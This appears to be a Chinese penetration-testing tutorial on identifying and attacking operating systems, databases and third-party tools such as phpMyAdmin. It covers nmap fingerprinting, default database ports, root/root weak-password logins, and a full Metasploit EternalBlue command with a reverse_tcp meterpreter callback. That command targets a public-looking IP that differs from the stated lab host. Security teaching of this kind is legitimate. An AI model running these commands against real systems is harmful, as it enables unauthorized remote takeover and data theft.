目录
2. 两者区别(简要)及识别意义 & 操作系统层面漏洞类型对应意义
2. 数据库常见漏洞类型及攻击 & 数据库层面漏洞影响范围(简要)
1. 如何判断有那些第三方平台或软件 & 为什么要识别第三方平台或软件
前言
除去前期讲到过的搭建平台中间件,网站源码外,容易受到攻击的还有操作系统、数据库、第三方软件平台等,此类攻击也能直接影响到Web或服务器的安全,导致网站或服务器权限的获取。
Windows、Linux作为常见的服务器操作系统,其系统层面的漏洞有些对开展安全测试是有帮助的(与权限有关的漏洞),有些,如DDoS攻击,这种影响正常的运行或业务的应用的漏洞,没有和权限挂钩,就不需要刻意去学习了。
漏洞是需要区分属于哪一层的。比如ThinkPHP的漏洞,ThinkPHP是网站开发的框架,相关漏洞属于Web层,再怎么利用也最多只能获得网站的权限,和操作系统安全没有关系。
第三方软件:服务器上会安装的某些辅助插件,比如phpmyadmin,一般都是起到便于站长管理数据库的功能,有些可以被攻击者利用,登陆到数据库里。
一、操作系统层面
1. 识别操作系统常见方法
以小迪吧网站为例。小迪渗透吧-提供最专业的渗透测试培训,web安全培训,网络安全培训,代码审计培训,安全服务培训,CTF比赛培训,SRC平台挖掘培训,红蓝对抗培训!_小迪安全,小迪渗透,小迪培训小迪渗透,小迪安全,小迪培训http://xiaodi8.com/ 如果服务器是Windows操作系统,那么不区分大小写,网址以大写小写都可以正常访问。
如果是Linux就有影响。
大小写均可访问,可以认定网站服务器的操作系统为Windows。
切换大小写访问报错,则可以认定网站服务器的操作系统是Linux。
这是有网站可以访问的情况。没有网站,只有一个IP地址时如何识别操作系统呢?
两种方式:nmap;通过ping 获取的TTL值判断操作系统(不推荐,有时不准确,且不能判断版本)。
利用NMAP探测网站服务器或某IP地址的操作系统:参数 -O
nmap -O <IP>
2. 两者区别(简要)及识别意义 & 操作系统层面漏洞类型对应意义
操作系统的重要区别:网站路径问题(Linux并没有盘符的概念)。以及文件兼容、运行的问题。
操作系统层面漏洞类型:
- 本地提权漏洞;
- 本地溢出漏洞;
- 远程代码执行;
- DDoS攻击;
- 缓冲区溢出……
有些漏洞只是造成了一些危害(如DDoS),但不会影响权限的丢失。有些漏洞就影响了权限,比如 MS17-010 高危远程代码执行漏洞 CVE-2017-0143 针对Windows SMB协议45号端口(一般电脑都默认开放)不需要前提条件只需端口开放。
3. 操作系统层面漏洞影响范围(简要)
漏洞要么和权限挂钩,要么使系统崩溃,即影响操作系统。
二、数据库层面
1. 识别数据库类型常见方法 & 数据库类型区别及识别意义
基本上有网站就有数据库,99%的网站都是动态网站,静态网站就是一个单纯的页面,没有数据的传输,没有其他的功能、后台、前台、数据库、数据。静态网站是没有漏洞的。
必须要有数据传递,才会产生漏洞。
- 小型数据库:储存少量信息,如Access
- 中型数据库:如MySQL
- 大型数据库:如SQLServer,Oracle
有网站就通过网站识别,没有网站就利用nmap工具。
- ASP+Access
- PHP+mysql
- ASPX+mssql(SQLserver)
- JSP+mssql, Oracle
- Python+MangoDB,...
- ……
一般都会使用建议的数据库。另外注意Access、mssql只能运行在Windows上,不支持Linux。
利用端口扫描判断数据库: 数据库在运行时会开放一个特定端口,不同数据库不同端口。用Nmap端口扫描判定对方端口是否开放,来判定是否有特定服务。
- Access没有端口
- mysql:3306
- SqlServer:1433
- Oracle:1521
- MangoDB:27017
- Redis:6379
- DB2:5000
可以得知开放了3306端口:用的是mysql数据库。
端口状态filtered:filtered是由于报文无法到达指定的端口,nmap无法确定端口开放状态。一般可以假定端口是有服务开启的。也有可能是被企业级防火墙拦截。
不同数据库,不同攻击方法,不同架构,不同漏洞……
2. 数据库常见漏洞类型及攻击 & 数据库层面漏洞影响范围(简要)
弱口令攻击:通过数据库的弱口令登陆数据库。
MySQL 弱口令漏洞指 MySQL 数据库 root 账号对应的密码长度太短或者复杂度不够,如仅包含数字,或仅包含字母等。
弱口令容易被暴力破解,一旦被恶意利用来登录系统,会导致数据泄露,如果得到了root权限登录mysql服务,则可以写入恶意文件,危害更大。
三、第三方层面
管理员或站长在服务器选装的一些便于管理的软件。
JBoss、WebLogic、PHPmyadmin、teamview、VSftpd等。
1. 如何判断有那些第三方平台或软件 & 为什么要识别第三方平台或软件
如果是用于网站的第三方软件,可以由网站目录获悉。比如phpmyadmin肯定在网站某目录下,则可以通过直接访问/目录扫描验证,然后开展下一步比如弱口令攻击(root root):如果是装在服务器上的软件比如vsftpd,则可以用端口扫描工具获悉,因为FTP服务需要开放21端口。
大部份都是通过端口扫描探测。
nmap -O -sV <IP Address>
2. 常见第三方平台或软件漏洞类型及攻击
3. 第三方平台或软件安全测试的范围(简要)
补充
除去常规Web安全及APP安全测试外,类似服务器单一或复杂的其他服务(邮件服务器、游戏服务器、负载均衡等)也可以作为安全测试目标(要根据服务选择攻击方式、方向!),此类目标测试原则只是少了Web应用或其他安全问题。所以明确安全测试思路是很重要的。
案例演示
1. 某操作系统层面漏洞演示
攻击靶机:192.168.3.31。
在攻击机 kali 开启 msfconsole:
使用针对Windows系统的MS7-010漏洞。该漏洞先决条件只需靶机开启445端口。
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/reverse_tcp set lhost 172.16.90.135 set rhosts 59.63.226.67 run
成功结果如下所示:
成功获取系统权限。
2. 某数据库层面漏洞演示
以vulhub mysql/CVE-2012-2122/为例。MySql身份认证绕过漏洞。
Vulhub - Docker-Compose file for vulnerability environment
靶机开启vulhub环境,kali攻击机nmap对靶机进行扫描:
探测到3306端口开放,以及mysql版本:5.5.23
使用 kali 自带的攻击模块 msfconsole对其进行攻击,设置目标IP地址、线程数量:
攻击成功,产生下述文件:
3. 第三方应用安全漏洞演示
Vulhub:phpmyadmin Vulhub - Docker-Compose file for vulnerability environment
以 phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)为例。在靶机启动漏洞环境。
发送如下数据包,即可读取
/etc/passwd
: